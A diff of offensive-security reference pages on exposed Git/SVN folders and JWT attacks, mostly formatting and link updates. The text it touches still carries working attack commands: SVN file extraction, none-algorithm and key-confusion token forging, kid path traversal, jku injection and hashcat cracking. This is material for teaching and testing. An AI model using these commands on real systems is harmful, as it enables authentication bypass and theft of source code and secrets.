     ```powershell
     docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-hg.pl -v -u
     ```
 
-
 ## References
 
-* [my-chemical-romance - siunam - Feb 13, 2023](https://siunam321.github.io/ctf/LA-CTF-2023/Web/my-chemical-romance/)
+* [my-chemical-romance - siunam - Feb 13, 2023](https://web.archive.org/web/20250712102012/https://siunam321.github.io/ctf/LA-CTF-2023/Web/my-chemical-romance/)

Insecure Source Code Management/README.md

@@ -1,7 +1,6 @@
 # Insecure Source Code Management
 
-> Insecure Source Code Management (SCM) can lead to several critical vulnerabilities in web applications and services. Developers often rely on SCM systems like Git and Subversion (SVN) to manage their source code versions. However, poor security practices, such as leaving .git and .svn folders in production environments exposed to the internet, can pose significant risks. 
+> Insecure Source Code Management (SCM) can lead to several critical vulnerabilities in web applications and services. Developers often rely on SCM systems like Git and Subversion (SVN) to manage their source code versions. However, poor security practices, such as leaving .git and .svn folders in production environments exposed to the internet, can pose significant risks.
-
 
 ## Summary
 
@@ -13,21 +12,19 @@
 * [Labs](#labs)
 * [References](#references)
 
-
 ## Methodology
 
-Exposing the version control system folders on a web server can lead to severe security risks, including: 
+Exposing the version control system folders on a web server can lead to severe security risks, including:
 
-- **Source Code Leaks** : Attackers can download the entire source code repository, gaining access to the application's logic.
+* **Source Code Leaks** : Attackers can download the entire source code repository, gaining access to the application's logic.
-- **Sensitive Information Exposure** : Embedded secrets, configuration files, and credentials might be present within the codebase.
+* **Sensitive Information Exposure** : Embedded secrets, configuration files, and credentials might be present within the codebase.
-- **Commit History Exposure** : Attackers can view past changes, revealing sensitive information that might have been previously exposed and later mitigated.
+* **Commit History Exposure** : Attackers can view past changes, revealing sensitive information that might have been previously exposed and later mitigated.
-     
 
-The first step is to gather information about the target application. This can be done using various web reconnaissance tools and techniques. 
+The first step is to gather information about the target application. This can be done using various web reconnaissance tools and techniques.
 
 * **Manual Inspection** : Check URLs manually by navigating to common SCM paths.
-    * http://target.com/.git/
+    * Git: `http://target.com/.git/`
-    * http://target.com/.svn/
+    * SVN: `http://target.com/.svn/`
 
 * **Automated Tools** : Refer to the page related to the specific technology.
 
@@ -41,14 +38,12 @@ location /.git {
 }
 ```
 
-For example in Git, the exploitation technique doesn't require to list the content of the `.git` folder (http://target.com/.git/), the data extraction can still be conducted when files can be read.
+For example in Git, the exploitation technique doesn't require to list the content of the `.git` folder (`http://target.com/.git/`), the data extraction can still be conducted when files can be read.
-
 
 ## Labs
 
 * [Root Me - Insecure Code Management](https://www.root-me.org/fr/Challenges/Web-Serveur/Insecure-Code-Management)
 
-
 ## References
 
-- [Hidden directories and files as a source of sensitive information about web application - Apr 30, 2017](https://github.com/bl4de/research/tree/master/hidden_directories_leaks)
+* [Hidden directories and files as a source of sensitive information about web application - Apr 30, 2017](https://github.com/bl4de/research/tree/master/hidden_directories_leaks)

Insecure Source Code Management/Subversion.md

@@ -1,6 +1,6 @@
 # Subversion
 
-> Subversion  (often abbreviated as SVN) is a centralized version control system (VCS) that has been widely used in the software development industry. Originally developed by CollabNet Inc. in 2000, Subversion was designed to be an improved version of CVS (Concurrent Versions System) and has since gained significant traction for its robustness and reliability. 
+> Subversion  (often abbreviated as SVN) is a centralized version control system (VCS) that has been widely used in the software development industry. Originally developed by CollabNet Inc. in 2000, Subversion was designed to be an improved version of CVS (Concurrent Versions System) and has since gained significant traction for its robustness and reliability.
 
 ## Summary
 
@@ -10,7 +10,8 @@
 
 ## Tools
 
-* [anantshri/svn-extractor](https://github.com/anantshri/svn-extractor) - Simple script to extract all web resources by means of .SVN folder exposed over network. 
+* [anantshri/svn-extractor](https://github.com/anantshri/svn-extractor) - Simple script to extract all web resources by means of .SVN folder exposed over network.
+
     ```powershell
     python svn-extractor.py --url "url with .svn available"
     ```
@@ -21,11 +22,12 @@
 curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
 ```
 
-1. Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db
+1. Download the svn database from `http://server/path_to_vulnerable_site/.svn/wc.db`
+
     ```powershell
     INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
     ```
-    
+
 2. Download interesting files
     * remove `$sha1$` prefix
     * add `.svn-base` postfix
@@ -34,4 +36,4 @@ curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
 
 ## References
 
-- [SVN Extractor for Web Pentesters - Anant Shrivastava - March 26, 2013](http://blog.anantshri.info/svn-extractor-for-web-pentesters/)
+* [SVN Extractor for Web Pentesters - Anant Shrivastava - March 26, 2013](https://web.archive.org/web/20130329022536/http://blog.anantshri.info:80/svn-extractor-for-web-pentesters)

JSON Web Token/README.md

@@ -2,7 +2,6 @@
 
 > JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.
 
-
 ## Summary
 
 - [Tools](#tools)
@@ -25,15 +24,13 @@
 - [Labs](#labs)
 - [References](#references)
 
-
 ## Tools
 
 - [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool) -  🐍 A toolkit for testing, tweaking and cracking JSON Web Tokens
-- [brendan-rius/c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker) - JWT brute force cracker written in C 
+- [brendan-rius/c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker) - JWT brute force cracker written in C
 - [PortSwigger/JOSEPH](https://portswigger.net/bappstore/82d6c60490b540369d6d5d01822bdf61) - JavaScript Object Signing and Encryption Pentesting Helper
 - [jwt.io](https://jwt.io/) - Encoder/Decoder
 
-
 ## JWT Format
 
 JSON Web Token : `Base64(Header).Base64(Data).Base64(Signature)`
@@ -48,7 +45,6 @@ eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ        # payload
 UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature
 ```
 
-
 ### Header
 
 Registered header parameter names defined in [JSON Web Signature (JWS) RFC](https://www.rfc-editor.org/rfc/rfc7515).
@@ -77,7 +73,6 @@ Other parameters are registered in the RFC.
 | cty       | Content Type                         | This header parameter is not recommended to use |
 | crit      | Critical                             | Extensions and/or JWA are being used |
 
-
 Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
 "RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).
 
@@ -86,19 +81,18 @@ Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
 | HS256 | HMAC using SHA-256                             | Required      |
 | HS384 | HMAC using SHA-384                             | Optional      |
 | HS512 | HMAC using SHA-512                             | Optional      |
-| RS256	| RSASSA-PKCS1-v1_5 using SHA-256                | Recommended   |
+| RS256 | RSASSA-PKCS1-v1_5 using SHA-256                | Recommended   |
 | RS384 | RSASSA-PKCS1-v1_5 using SHA-384                | Optional      |
 | RS512 | RSASSA-PKCS1-v1_5 using SHA-512                | Optional      |
-| ES256 | ECDSA using P-256 and SHA-256	                 | Recommended   |
+| ES256 | ECDSA using P-256 and SHA-256                  | Recommended   |
 | ES384 | ECDSA using P-384 and SHA-384                  | Optional      |
-| ES512 | ECDSA using P-521 and SHA-512	                 | Optional      |
+| ES512 | ECDSA using P-521 and SHA-512                  | Optional      |
 | PS256 | RSASSA-PSS using SHA-256 and MGF1 with SHA-256 | Optional      |
 | PS384 | RSASSA-PSS using SHA-384 and MGF1 with SHA-384 | Optional      |
 | PS512 | RSASSA-PSS using SHA-512 and MGF1 with SHA-512 | Optional      |
-| none	| No digital signature or MAC performed          | Required      |
+| none | No digital signature or MAC performed          | Required      |
 
-Inject headers with [ticarpi/jwt_tool](#): `python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2`
+Inject headers with [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool): `python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2`
- 
 
 ### Payload
 
@@ -112,6 +106,7 @@ Inject headers with [ticarpi/jwt_tool](#): `python3 jwt_tool.py JWT_HERE -I -hc
 ```
 
 Claims are the predefined keys and their values:
+
 - iss: issuer of the token
 - exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds.
 - iat: The time the JWT was issued. Can be used to determine the age of the JWT
@@ -120,8 +115,7 @@ Claims are the predefined keys and their values:
 - sub: subject of the token (rarely used)
 - aud: audience of the token (also rarely used)
 
-Inject payload claims with [ticarpi/jwt_tool](#): `python3 jwt_tool.py JWT_HERE -I -pc payload1 -pv testval3`
+Inject payload claims with [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool): `python3 jwt_tool.py JWT_HERE -I -pc payload1 -pv testval3`
-
 
 ## JWT Signature
 
@@ -130,55 +124,58 @@ Inject payload claims with [ticarpi/jwt_tool](#): `python3 jwt_tool.py JWT_HERE
 Send a JWT with HS256 algorithm without a signature like `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.`
 
 **Exploit**:
+
 ```ps1
 python3 jwt_tool.py JWT_HERE -X n
 ```
 
 **Deconstructed**:
+
 ```json
 {"alg":"HS256","typ":"JWT"}.
 {"sub":"1234567890","name":"John Doe","iat":1516239022}
 ```
 
-
 ### JWT Signature - Disclosure of a correct signature (CVE-2019-7644)
 
 Send a JWT with an incorrect signature, the endpoint might respond with an error disclosing the correct one.
 
-* [jwt-dotnet/jwt: Critical Security Fix Required: You disclose the correct signature with each SignatureVerificationException... #61](https://github.com/jwt-dotnet/jwt/issues/61)
+- [jwt-dotnet/jwt: Critical Security Fix Required: You disclose the correct signature with each SignatureVerificationException... #61](https://github.com/jwt-dotnet/jwt/issues/61)
-* [CVE-2019-7644: Security Vulnerability in Auth0-WCF-Service-JWT](https://auth0.com/docs/secure/security-guidance/security-bulletins/cve-2019-7644)
+- [CVE-2019-7644: Security Vulnerability in Auth0-WCF-Service-JWT](https://auth0.com/docs/secure/security-guidance/security-bulletins/cve-2019-7644)
 
 ```ps1
 Invalid signature. Expected SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c got 9twuPVu9Wj3PBneGw1ctrf3knr7RX12v-UwocfLhXIs
 Invalid signature. Expected 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgB1Y= got 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgBOo=
 ```
 
-
 ### JWT Signature - None Algorithm (CVE-2015-9235)
 
 JWT supports a `None` algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.
 
 None algorithm variants:
-* `none` 
+
-* `None`
+- `none`
-* `NONE`
+- `None`
-* `nOnE`
+- `NONE`
+- `nOnE`
 
 To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT. However, this won't work unless you **remove** the signature
 
 Alternatively you can modify an existing JWT (be careful with the expiration time)
 
-* Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
+- Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
+
     ```ps1
     python3 jwt_tool.py [JWT_HERE] -X a
     ```
 
-* Manually editing the JWT
+- Manually editing the JWT
+
     ```python
     import jwt
 
     jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ'
-    decodedToken = jwt.decode(jwtToken, verify=False)  					
+    decodedToken = jwt.decode(jwtToken, verify=False)       
 
     # decode the token before encoding with type 'None'
     noneEncoded = jwt.encode(decodedToken, key='', algorithm=None)
@@ -186,7 +183,6 @@ Alternatively you can modify an existing JWT (be careful with the expiration tim
     print(noneEncoded.decode())
     ```
 
-
 ### JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)
 
 If a server’s code is expecting a token with "alg" set to RSA, but receives a token with "alg" set to HMAC, it may inadvertently use the public key as the HMAC symmetric key when verifying the signature.
@@ -205,11 +201,13 @@ print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
 
 :warning: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version: `pip install pyjwt==0.4.3`.
 
-* Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
+- Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
+
     ```ps1
     python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem
     ```
-* Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
+
+- Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
     1. Find the public key, usually in `/jwks.json` or `/.well-known/jwks.json`
     2. Load it in the JWT Editor Keys tab, click `New RSA Key`.
     3. . In the dialog, paste the JWK that you obtained earlier: `{"kty":"RSA","e":"AQAB","use":"sig","kid":"961a...85ce","alg":"RS256","n":"16aflvW6...UGLQ"}`
@@ -220,7 +218,7 @@ print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
     8. Edit the JWT token alg to `HS256` and the data.
     9. Click `Sign` and keep the option: `Don't modify header`
 
-* Manually using the following steps to edit an RS256 JWT token into an HS256
+- Manually using the following steps to edit an RS256 JWT token into an HS256
     1. Convert our public key (key.pem) into HEX with this command.
 
         ```powershell
@@ -239,7 +237,7 @@ print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
     3. Convert signature (Hex to "base64 URL")
 
         ```powershell
-        $ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
+        python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
         ```
 
     4. Add signature to edited payload
@@ -249,21 +247,19 @@ print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
         eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
         ```
 
-
 ### JWT Signature - Key Injection Attack (CVE-2018-0114)
 
 > A vulnerability in the Cisco node-jose open source library before 0.11.0 could allow an unauthenticated, remote attacker to re-sign tokens using a key that is embedded within the token. The vulnerability is due to node-jose following the JSON Web Signature (JWS) standard for JSON Web Tokens (JWTs). This standard specifies that a JSON Web Key (JWK) representing a public key can be embedded within the header of a JWS. This public key is then trusted for verification. An attacker could exploit this by forging valid JWS objects by removing the original signature, adding a new public key to the header, and then signing the object using the (attacker-owned) private key associated with the public key embedded in that JWS header.
 
-
 **Exploit**:
 
-* Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
+- Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
 
     ```ps1
     python3 jwt_tool.py [JWT_HERE] -X i
     ```
 
-* Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
+- Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
     1. Add a `New RSA key`
     2. In the JWT's Repeater tab, edit data
     3. `Attack` > `Embedded JWK`
@@ -286,10 +282,9 @@ print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
 [Signed with new Private key; Public key injected]
 ```
 
-
 ### JWT Signature - Recover Public Key From Signed JWTs
 
-The RS256, RS384 and RS512 algorithms use RSA with PKCS#1 v1.5 padding as their signature scheme. This has the property that you can compute the public key given two different messages and accompanying signatures. 
+The RS256, RS384 and RS512 algorithms use RSA with PKCS#1 v1.5 padding as their signature scheme. This has the property that you can compute the public key given two different messages and accompanying signatures.
 
 [SecuraBV/jws2pubkey](https://github.com/SecuraBV/jws2pubkey): compute an RSA public key from two signed JWTs
 
@@ -300,14 +295,14 @@ Computing public key. This may take a minute...
 {"kty": "RSA", "n": "sEFRQzskiSOrUYiaWAPUMF66YOxWymrbf6PQqnCdnUla8PwI4KDVJ2XgNGg9XOdc-jRICmpsLVBqW4bag8eIh35PClTwYiHzV5cbyW6W5hXp747DQWan5lIzoXAmfe3Ydw65cXnanjAxz8vqgOZP2ptacwxyUPKqvM4ehyaapqxkBbSmhba6160PEMAr4d1xtRJx6jCYwQRBBvZIRRXlLe9hrohkblSrih8MdvHWYyd40khrPU9B2G_PHZecifKiMcXrv7IDaXH-H_NbS7jT5eoNb9xG8K_j7Hc9mFHI7IED71CNkg9RlxuHwELZ6q-9zzyCCcS426SfvTCjnX0hrQ", "e": "AQAB"}
 ```
 
-
 ## JWT Secret
 
 > To create a JWT, a secret key is used to sign the header and payload, which generates the signature. The secret key must be kept secret and secure to prevent unauthorized access to the JWT or tampering with its contents. If an attacker is able to access the secret key, they can create, modify or sign their own tokens, bypassing the intended security controls.
 
 ### Encode and Decode JWT with the secret
 
-* Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool): 
+- Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool):
+
     ```ps1
     jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds
     jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds -T
@@ -319,7 +314,9 @@ Computing public key. This may take a minute...
     Token payload values:
     [+] name = "John Doe"
     ```
-* Using [pyjwt](https://pyjwt.readthedocs.io/en/stable/): `pip install pyjwt`
+
+- Using [pyjwt](https://pyjwt.readthedocs.io/en/stable/): `pip install pyjwt`
+
     ```python
     import jwt
     encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')
@@ -330,7 +327,6 @@ Computing public key. This may take a minute...
 
 Useful list of 3502 public-available JWT: [wallarm/jwt-secrets/jwt.secrets.list](https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list), including `your_jwt_secret`, `change_this_super_secret_random_string`, etc.
 
-
 #### JWT tool
 
 First, bruteforce the "secret" key used to compute the signature using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
@@ -381,32 +377,30 @@ Your new forged token:
 [+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic
 ```
 
-* Recon: `python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw`
+- Recon: `python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw`
-* Scanning: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb`
+- Scanning: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb`
-* Exploitation: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
+- Exploitation: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
-* Fuzzing: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt`
+- Fuzzing: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt`
-* Review: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
+- Review: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
-
 
 #### Hashcat
 
 > Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](https://twitter.com/hashcat/status/955154646494040065)
 
-* Dictionary attack: `hashcat -a 0 -m 16500 jwt.txt wordlist.txt`
+- Dictionary attack: `hashcat -a 0 -m 16500 jwt.txt wordlist.txt`
-* Rule-based attack: `hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule`
+- Rule-based attack: `hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule`
-* Brute force attack: `hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6`
+- Brute force attack: `hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6`
-
 
 ## JWT Claims
 
 [IANA's JSON Web Token Claims](https://www.iana.org/assignments/jwt/jwt.xhtml)
 
-
 ### JWT kid Claim Misuse
 
 The "kid" (key ID) claim in a JSON Web Token (JWT) is an optional header parameter that is used to indicate the identifier of the cryptographic key that was used to sign or encrypt the JWT. It is important to note that the key identifier itself does not provide any security benefits, but rather it enables the recipient to locate the key that is needed to verify the integrity of the JWT.
 
-* Example #1 : Local file
+- Example #1 : Local file
+
     ```json
     {
     "alg": "HS256",
@@ -415,7 +409,8 @@ The "kid" (key ID) claim in a JSON Web Token (JWT) is an optional header paramet
     }
     ```
 
-* Example #2 : Remote file
+- Example #2 : Remote file
+
     ```json
     {
         "alg":"RS256",
@@ -436,8 +431,10 @@ HMACSHA256(
 ```
 
 The common ways to misuse the kid header:
-* Get the key content to change the payload
+
-* Change the key path to force your own
+- Get the key content to change the payload
+- Change the key path to force your own
+
     ```py
     >>> jwt.encode(
     ...     {"some": "payload"},
@@ -447,14 +444,14 @@ The common ways to misuse the kid header:
     ... )
     ```
 
-* Change the key path to a file with a predictable content.
+- Change the key path to a file with a predictable content.
+
   ```ps1
   python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
   python3 jwt_tool.py <JWT> -I -hc kid -hv "/proc/sys/kernel/randomize_va_space" -S hs256 -p "2"
   ```
 
-* Modify the kid header to attempt SQL and Command Injections
+- Modify the kid header to attempt SQL and Command Injections
-
 
 ### JWKS - jku header injection
 
@@ -462,12 +459,12 @@ The common ways to misuse the kid header:
 
 It is sometimes exposed publicly via a standard endpoint:
 
-* `/jwks.json`
+- `/jwks.json`
-* `/.well-known/jwks.json`
+- `/.well-known/jwks.json`
-* `/openid/connect/jwks.json`
+- `/openid/connect/jwks.json`
-* `/api/keys`
+- `/api/keys`
-* `/api/v1/keys`
+- `/api/v1/keys`
-* [`/{tenant}/oauth2/v1/certs`](https://docs.theidentityhub.com/doc/Protocol-Endpoints/OpenID-Connect/OpenID-Connect-JWKS-Endpoint.html)
+- [`/{tenant}/oauth2/v1/certs`](https://docs.theidentityhub.com/doc/Protocol-Endpoints/OpenID-Connect/OpenID-Connect-JWKS-Endpoint.html)
 
 You should create your own key pair for this attack and host it. It should look like that:
 
@@ -486,12 +483,14 @@ You should create your own key pair for this attack and host it. It should look
 
 **Exploit**:
 
-* Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
+- Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
+
     ```ps1
     python3 jwt_tool.py JWT_HERE -X s
     python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/jwks.json
     ```
-* Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
+
+- Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
     1. Generate a new RSA key and host it
     2. Edit JWT's data
     3. Replace the `kid` header with the one from your JWKS
@@ -505,40 +504,38 @@ You should create your own key pair for this attack and host it. It should look
 [Signed with new Private key; Public key exported]
 ```
 
+## Labs
 
-## Labs 
+- [PortSwigger - JWT authentication bypass via unverified signature](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature)
-
+- [PortSwigger - JWT authentication bypass via flawed signature verification](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification)
-* [PortSwigger - JWT authentication bypass via unverified signature](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature)
+- [PortSwigger - JWT authentication bypass via weak signing key](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key)
-* [PortSwigger - JWT authentication bypass via flawed signature verification](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification)
+- [PortSwigger - JWT authentication bypass via jwk header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection)
-* [PortSwigger - JWT authentication bypass via weak signing key](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key)
+- [PortSwigger - JWT authentication bypass via jku header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection)
-* [PortSwigger - JWT authentication bypass via jwk header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection)
+- [PortSwigger - JWT authentication bypass via kid header path traversal](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal)
-* [PortSwigger - JWT authentication bypass via jku header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection)
+- [Root Me - JWT - Introduction](https://www.root-me.org/fr/Challenges/Web-Serveur/JWT-Introduction)
-* [PortSwigger - JWT authentication bypass via kid header path traversal](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal)
+- [Root Me - JWT - Revoked token](https://www.root-me.org/en/Challenges/Web-Server/JWT-Revoked-token)
-* [Root Me - JWT - Introduction](https://www.root-me.org/fr/Challenges/Web-Serveur/JWT-Introduction)
+- [Root Me - JWT - Weak secret](https://www.root-me.org/en/Challenges/Web-Server/JWT-Weak-secret)
-* [Root Me - JWT - Revoked token](https://www.root-me.org/en/Challenges/Web-Server/JWT-Revoked-token)
+- [Root Me - JWT - Unsecure File Signature](https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-File-Signature)
-* [Root Me - JWT - Weak secret](https://www.root-me.org/en/Challenges/Web-Server/JWT-Weak-secret)
+- [Root Me - JWT - Public key](https://www.root-me.org/en/Challenges/Web-Server/JWT-Public-key)
-* [Root Me - JWT - Unsecure File Signature](https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-File-Signature)
+- [Root Me - JWT - Header Injection](https://www.root-me.org/en/Challenges/Web-Server/JWT-Header-Injection)
-* [Root Me - JWT - Public key](https://www.root-me.org/en/Challenges/Web-Server/JWT-Public-key)
+- [Root Me - JWT - Unsecure Key Handling](https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-Key-Handling)
-* [Root Me - JWT - Header Injection](https://www.root-me.org/en/Challenges/Web-Server/JWT-Header-Injection)
-* [Root Me - JWT - Unsecure Key Handling](https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-Key-Handling)
-
